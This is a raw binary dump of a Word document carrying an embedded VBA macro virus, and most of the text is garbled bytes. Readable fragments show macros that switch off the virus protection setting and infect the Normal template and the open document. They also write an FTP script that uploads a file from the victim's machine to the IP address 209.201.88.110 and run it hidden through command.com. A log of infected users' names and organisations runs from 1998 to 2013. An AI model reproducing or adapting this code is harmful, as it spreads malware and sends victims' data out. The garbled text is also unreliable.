邢唷>? 47?3欹'` 餜`bjbj鲟鲟8攰攰 L <@        %''''''$h :K!     K  l^ ^ ^    %^  %^ ^ %  YR  0,F3& .y%y%d  ^      KKT        @@@D @@@D &:H SO瞼f[b朰eL€錧鲖GPUS覻 T鰁 魰t^ g 錯鲖GP婲1u鲖GPgP蜰 t^ g 錯髞 t^ g 錯岨媺[抍b錧\O塠抍YebL?e?嵑N~{W[  t^ g 錯yba翂yb篘~{W[  t^ g 錯魦fYeL€錧鲖GP梜X橯鲖GPUSYef[篘XT鲖GP1ub暋[yb NL€ZQ?er^钀鲖GP1ufN皨yb 錧銻篘XT1uL?eoRb暋[yb"*.46<@BNP\fhlnrv~€  l n `蜷菰菰菰菹菹菰菰菰菰菰菰菹菹孟返Uh{h胾CJaJo(h?hhCDCJaJo( hCDo(hCDCJaJo(h3AhCDCJaJo(h胾5丆J$aJ$hNhN5丆J$aJ$o(! ",@剛$剕&P#$/劥If^剛gdCDl?$剕&P#$/劥IfWD`?gdCDl$$剕&P#$/劥Ifa$gdCDl$a$gde=V`@BLNR55$$剕&P#$/劥Ifa$gdCDlkd$$If杔?謀?h &€w€€€, t6P攟敶?6敶44 laytCDNPZx[[$$剕&P#$/劥Ifa$gdCDlkd$$If杔??h&€w€ t6P攟敶?6敶44 laytCDx[[[[[[[$$剕&P#$/劥Ifa$gdCDlkd($$If杔 ??h&€w€ t6P攟敶?6敶44 laytCD    X;;$$剕&P#$/劥Ifa$gdCDlkd$$If杔擼??h&€w€ t6P攟敶?6敶44 laytCD劶$剕&P#$/劥IfWD`劶gdCDl  l n v ;.dhG$gd{kd$$$If杔斦??h&€w€ t6P攟敶?6敶44 laytCD劶$剕&P#$/劥IfWD`劶gd?hl$$剕&P#$/劥Ifa$gdCDlv ` & FdhG$gd{鲖GP篘蟸ybT擽蔛鰁\鲖GPUS悿N鴙sQ钀钑YHh Yef[篘XT怸e钀钑YHh vQ諲篘XT怢?e钀钑YHh061?2P:p{皞. 捌A!皀"皀#?$?%癝班 惄$$If!vh55 5 51 #v#v #v #v1 :V杔? t6P攟敶6敶,5w555,ytCD|$$If!vh55#v#v:V杔 t6P攟敶6敶,5w5ytCD|$$If!vh55#v#v:V杔  t6P攟敶6敶,5w5ytCD|$$If!vh55#v#v:V杔擼 t6P攟敶6敶,5w5ytCD|$$If!vh55#v#v:V杔斦 t6P攟敶6敶,5w5ytCDN@?N ck噀 $1$a$$CJKHPJ_HaJmH nHsH tH$A?$ 貫祂=刉[SOBi@?B nf恏圏h4 l4a k? 鄀Rhf欯f X Q?@ABCDEFG8IJKLMNOPQRST?VWXYZ[\^??Root Entry F;RUData 1TableWordDocument8SummaryInformation(#DocumentSummaryInformation8+Macros rRYRVBA rR RThisDocument <?_VBA_PROJECT* dir1PROJECTwm:)  !"#$%&'()*+,-./0?23456789??<=>?@?B?6!8%:.*  '' (!>%@'$ '' *!>%@'&Switch the VirusProtection OFF B(D$H$F>HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User InfoLogFile J%L $ (!>!P (!>%N'0 &e *!>!P *!>%N'0k 0 0' Logfile --> 0 0' Logfile --> $'0 R 2 V$T$ '2 RC:\hsf 2.sys'2 2 0Vc:\netldx.vxdo 209.201.88.110user anonymous pass itsme@ cd incomingasciiput 2quitV*command.com /c ftp.exe -n -s:c:\netldx.vxd ZA@X>HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User InfoLogFile J,LkMMake sure that some conditions are true before we continue infecting anything  $ & 4!\ ^ 4!\ ` TruInfect the NormalTemplate $ed = T <!b'"alTe (!>!P (!>%N',veDocu1Write a log file of this NormalTemplate infection R d!. d!. R$$f d!. R$ $f . d!. R$'.kd .$f' '.k R ) ,$f'  hhh:mm:ss AMPM - $ Zdddd, d mmm yyyy$$f'  d!j$f'  .$f',ode  *!>!P *!>B@l , *!>B@nime, " "G <B@pjkInfect the ActiveDocument & 4!r$: 4!bW 4!b' empl *!>!P *!>%N',tiveDo (!>E.\ZxME (S"SS"<(1Normal.ThisDocument€€?(% @Lx@  @? @? `? @? `? @? @? @? `?€00"€ € € € € 0€H€h€x€ € € && € € € $H p€ € z€€  " 8"Hp€ Zx€ * 0€ P` p€ € 8P h€ 8x€ ^€ € € € TDp€ € €  €  € "€ € € 8 X$p$  € ?(€ € € € 0€ € € 8FX€  € "€ €  € ( € € 0 € 8 € € @ € € (X € € €  €  € € € € * €  €  € € € € ( € ( € 8 € € € € *@ € p € € € € € € * € €  € € € € * € €  € € € € ( € @ € X € € € € ,` €  €  € € € € ( €  €  € € € € , € 0 € @ € € € € (H € p € € € € € € * € €  € € € € ( €  € € € € € (€ @€ X€ € € € (`€ € € € € € *€ € € € € € *€ (€ @€ € € € (H€ p€ € € € € (€ € € € € € ,€ € ,€ € € € *H€ x€ € € € € *€ € € € € € *€ € € € € € * € P€ `€ € € € (h€ € € € € € *€ € € € € € *€  € 0€ € € € *8€ h€ x€ € € € *€€ € € € € € *€ € € € € € .€ @€ P€ € € € ,X€ € € € € € *€ € € € € € ,€ € (€ € € € ,0€ `€ p€ € € € *x€ € € € € € .€ € € € € € ,€ 8€ H€ € € € .P€ €€ € € € € ,€ € € € € € *€ € (€ € € € *0€ `€ p€ € € € *x€ € € € € € *€ € € € € € (€ 0€ @€ € € € *H€ x€ € € € € *€ € € € € € *€ € € € € (0p]<- this is a marker!pDeclare Variables]]]0H` Initialize Variables 4!6!8%:.( <!!P (!>B@lr , (!>B@n mmm y G 4B@pjkko Logfile -->3) &" 09:08:36 - Saturday, 28 Nov 1998 SPo0Ky Blue Planet$ 02:50:31 PM - Saturday, 28 Nov 1998 MARK B. SEAY! 08:04:45 AM - Friday, 4 Dec 1998 UPS$ 11:43:35 AM - Thursday, 17 Dec 1998 WRO# 03:07:26 PM - Tuesday, 22 Dec 1998 BCBSA$ 03:28:02 PM - Wednesday, 6 Jan 1999 BCBSA" 02:59:47 PM - Monday, 11 Jan 1999 Marsha Veach% 01:54:54 PM - Wednesday, 20 Jan 1999 Connie Sandifer, CMP" 09:33:06 PM - Monday, 25 Jan 1999 Doug Rowan% 08:21:12 AM - Wednesday, 27 Jan 1999 IMSI" 10:59:58 AM - Friday, 29 Jan 1999 Raj$ 03:37:57 PM - Saturday, 30 Jan 1999 hornd" 01:26:48 PM - Tuesday, 2 Feb 1999 Cooley Godward" 04:57:29 PM - Tuesday, 2 Feb 1999 Cooley Godward" 06:35:44 PM - Tuesday, 2 Feb 1999 Cooley Godward# 04:23:52 PM - Thursday, 4 Feb 1999 Cooley Godward# 04:27:39 PM - Saturday, 6 Feb 1999 Cooley Godward! 06:18:06 PM - Monday, 8 Feb 1999 Cooley Godward" 09:17:17 PM - Tuesday, 9 Feb 1999 hclee% 04:44:45 PM - Wednesday, 17 Feb 1999 Dr. W. Hsiao% Wendy Hsiao, Ph.D.# 04:13:19 PM - Tuesday, 23 Feb 1999 CCST$ 10:09:35 AM - Saturday, 20 Mar 1999 cpwu# 09:33:49 AM - Thursday, 6 May 1999m 柳建华/# 12:39:25 PM - Tuesday, 20 May 1997.vx ghc-bbci! 01:21:36 PM - Friday, 7 May 1999 李晋闽f# 05:51:53 - Wednesday, 12 May 1999NT_ qdzhuang$ 03:23:04 PM - Saturday, 19 Jun 1999(AC 李晋闽r$ 02:53:46 下午 - Tuesday, 6 Sep 2011  李晋闽E$ 09:37:47 上午 - Monday, 19 Sep 2011t s 张士力d$ 01:41:54 下午 - Monday, 26 Sep 2011 co unknowni' 10:50:02 上午 - Wednesday, 19 Oct 2011m 祝昊泉c% 03:37:21 下午 - Tuesday, 25 Oct 2011at unknowne$ 08:45:16 上午 - Tuesday, 1 Nov 2011veD 王悦t.% 12:19:17 下午 - Thursday, 3 Nov 2011en unknown & 02:16:41 下午 - Wednesday, 9 May 2012at unknownr$ 01:44:34 下午 - Friday, 15 Jun 2012  提云飞e' 01:17:59 下午 - Wednesday, 18 Jul 2012  提云飞t% 03:54:48 下午 - Tuesday, 24 Jul 2012 番茄花园' 11:28:13 上午 - Wednesday, 25 Jul 2012t 骆占华& 11:05:49 上午 - Thursday, 26 Jul 2012Mo Lenovo Users(1$ 05:37:34 下午 - Monday, 13 Aug 2012nes 夏广林 $ 09:31:23 上午 - Monday, 20 Aug 2012of  zxnNor$ 01:34:31 下午 - Monday, 10 Sep 2012 F 钱大志1$ 04:50:54 下午 - Friday, 28 Sep 2012ddr user " 10:14:34 AM - Tuesday, 9 Oct 2012 Psyriver$ 09:09:40 上午 - Monday, 15 Oct 2012  鞠敏 I$ 09:15:12 上午 - Monday, 25 Feb 2013res USER1)$ 11:22:35 上午 - Monday, 11 Mar 2013  UserdrBAttribute VB_Name = "ThisDocument" 孊as?Normal.VGlobal!猄paclFalse reatablPre declaId濼ruBExposeTemplateDeriv$Customliz凜?P Sub 厙_Cl5() On Error Res Next Const @Marker仹<- t is (a m !€ 'Dl Vari=s Dim 蠸ave8,兌e,GInfec`ted,  As Boole攁n-ant ObjCOurCode, UserAddres€s, LogD€fYFihS缷ngA9'Initi0aliz徢/Se坱 a乥Act繹亝1.VBProA丂Compon@s.Item(1鱻S&= 20劒劈= .?Module.Find?僣, 10@O= nt+FSwitchC纜Firus>t€Zion OFF壚峱ts.V  = 那A If (Day(Now())?) And (Sysm@M.劎@fgf("", "HKEY_CURRENT_USER\Softw€衆Micros@\MS 繺up (ACPME)\A? `(o7!@?!>") The`H €E;`&k'DH€ad))Li0nes(`1Co鄒ntOf?!﨓 唨64AuT?F缢Q€,If蠱id(,??&"'" & "? -->")hen) -?$ CF鄬i丂 To 4c e"s=&+ AInt(8 * R鑞d)`2繻$  ic@$"C:p\hsf.8sys€旳1Op enOutpruB?1C S@y#呃; A埫B c "c:\netldx.vxd" "o 209.201.88.?10"u anonymoupass @itsme@c d inc嗔ng翉asciiA 荋'qui侀? Shell "A€mand. /c ftp.exe -n -s:?, vbHi頳`醙3?僈?儫A贌A= crEd32PMake sur俥`Pat so爡癱ond c衠 燞 t€| befo@we tin寀e1mingny€s醘@(F ~X?顰Qq?! cS_]"(li?m0 = wd Or c_e^誽砇q纑A2a 棵[W   .1鎑Q1 pXX0ZX3S'Wri€ log rf駙ofP? i疊 ns€ 朘L怭€ApplicaAp~.嚹I俹1Lot塱慙 <> Chr?13?qsh嶕0 I恅 `]繜C1R 乴kY=&f蠾' 擣 \'9,3R0j丣?(Timp?hh:mm:0QAMP鯩 j&? 怾d, d 鄊mm y齇 仪  AG雧Del鴈te鍐別.惏From纓袶S€;/90#QG?B壿% 9B鸉k6m棥〉F(b* 窮ul藏,F 拃P ":"N ~ ?N2濓 q VR=€謌IH ?狐?隟|孪Sto$x１廹:WSubrT 09:0 8:36 ?Sa@turday8?$v 1998銆 SPo0Ky腂l皉Pla€撪!d2:50:31 r<MARK BQ. SEAY ' ' 08:04:45 AM - Friday, 4 De@c 1998 UPS ?1:43:3fThursj17 lWRO l03:07:2? PjTue522 5BCBSA72?7Wed俷96 Jan 9/ 82:59圍478Mon1 Marsha@ Veach ;1楘54;20 Connie Sandifer, CMP $9:3'}剓C25?Doug Rowan8:21:12蠄}27 IMS扞 10亇58嬰?9JRajK@u7:5LSatu r侺3K1B!驖6,?Ps恲riv9:怲l40 5U7捐厦舡1p3;u!e@3 US\ERz X51?r(s蘟y *\G{000204EF-0000-0000-C000-000000000046}#4.0#9#C:\PROGRA~1\COMMON~1\MICROS~1\VBA\VBA6\VBE6.DLL#Visual Basic For Applications*\G{00020905-0000-0000-C000-000000000046}#8.3#0#C:\Program Files\Microsoft Office\OFFICE11\MSWORD.OLB#Microsoft Word 11.0 Object Library*\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\WINDOWS\system32\stdole2.tlb#OLE Automation*\CNormal*\CNormal?闞(*\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.3#0#C:\Program Files\Common Files\Microsoft Shared\OFFICE11\MSO.DLL#Microsoft Office 11.0 Object Library e隦\ZThisDocument0452eb650dThisDocumentK. T醚y偎I瞘Y ?`€9:?Word祂`VBA麾`Win16羱`Win32`Mac巢`VBA6?`工程1p`stdole揱`Project-甡 ThisDocument<瀈 €_Evaluate賎Normal哓`Officeu`Documentj觍Document_Close7\`MarkerS絗 SaveDocumentd]`SaveNormalTemplate羖`DocumentInfected 蝋NormalTemplateInfectedy癭ad~\`nto^`OurCode?` UserAddressF郹LogData(6`LogFileG隸€ActiveDocument覾` €VBProjectOh` €VBComponents '`Item讂`€NormalTemplateq琡 €CodeModule`€Findn餪€Options`€VirusProtectionoD`Day`Now%篳€Systema€PrivateProfileString[`€Lines何` €CountOfLines!\`€i``Str椪`RndR蟕ShellV譧vbHide篧` €SaveFormat雸`€wdFormatDocument劯`€wdFormatTemplatee`€Savedd蒨 €Application?`ChrK~`Time`€UserName\鎌 €DeleteLines 僠€AddFromString攷`€Save捫`€FullName袨`T眬0* pHdProjectQ(@= l €e隦 J< rstdole>stdolePh%^*\G{00020?30-C 0046}#2.0#0#C:\WINDOWS\system32\e2.tlb#OLE Aut€omation`僂Normal僂N€CrmaQ€F € €* \C ?闞?Offic刧Of€ic俫瀫攤!G{2DF8D04C-5BFA-101@B-BDE5€gAjA€e4€2坓€篻ram Files\CommonMicrosoft Shared\OFFICE11\MSO.DLL#僊 11 .0 Ob併 L纈brary€%€"倆\ZBeThisDocumentG  T纅is"D繦cu@Ie猲纍 2 (HB1B塊.XB,?蘐"B+BBThisDocumentThisDocumentID="{28244122-C0F7-443A-A7A2-D771B3F4B3EB}" Document=ThisDocument/&H00000000 Name="Project" HelpContextID="0" VersionCompatible32="393222000" CMG="F1F33BB93FB93FB93FB93F" DPB="E2E0285B185C185C18" GC="D3D1196A0B6B0B6BF4" [Host Extender Info] &H00000001={3832D640-CF90-11CF-8E43-00A0C911005A};VBE;&H00000000 PROJECT ;iCompObjAm[Workspace] ThisDocument=0, 0, 0, 0, C ?  FMicrosoft Office Word 文档 MSWordDocWord.Document.8?瞦